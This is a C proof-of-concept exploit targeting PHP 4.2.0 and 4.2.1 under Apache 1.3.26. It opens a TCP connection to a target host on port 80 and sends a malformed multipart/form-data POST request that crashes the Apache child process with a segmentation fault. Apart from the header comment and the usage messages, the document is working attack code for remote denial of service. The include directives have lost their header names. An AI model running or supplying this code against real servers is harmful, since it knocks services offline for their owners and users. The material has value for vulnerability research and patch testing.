/* DSR-php4.2x.c * The follow is Proof Of Concept code to * to reproduce the segmentation violation * in PHP4.2.0 & PHP4.2.1 with Apache 1.3.26 on * x86 arch. Found by Joseph S. TestaII * * Proof Of Concept code by bob@dtors.net * [notice] child pid 10779 exit signal Segmentation fault (11) * */ #include #include #include #include #include int main(int argc, char *argv[]) { int sock, i; char seg[250]; struct in_addr addr; struct sockaddr_in sin; struct hostent *he; fprintf(stdout, "\nDSR-php4.2x.c By bob. POC.[www.dtors.net]\n\n"); if(argc<3) { fprintf(stderr, "\nUsage : %s \n\n", argv[0]); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { fprintf(stderr, "ERROR: Hostname lookup failed!\n\n"); exit(1); } sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(80); fprintf(stdout, "Connecting to %s... \n",argv[1]); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { fprintf(stderr, "ERROR: Connection Timed Out!\n"); exit(1); } else { sleep(5); fprintf(stdout, "Sending headers... \n"); sprintf(seg,"POST /%s HTTP/1.0\nContent-type: multipart/form-data; boundary=---------------------------123\nContent-length: 129\n\n-----------------------------123\nContent-Disposition: filename\n\n\nhttp://www.dtors.net\n-----------------------------123--\n\n",argv[2]); write(sock,seg,strlen(seg)); fprintf(stdout, "...headers sent! \n\n"); fprintf(stdout, "Now check your error_log, for apache [child pid] signal(11)\n"); close(sock); } }

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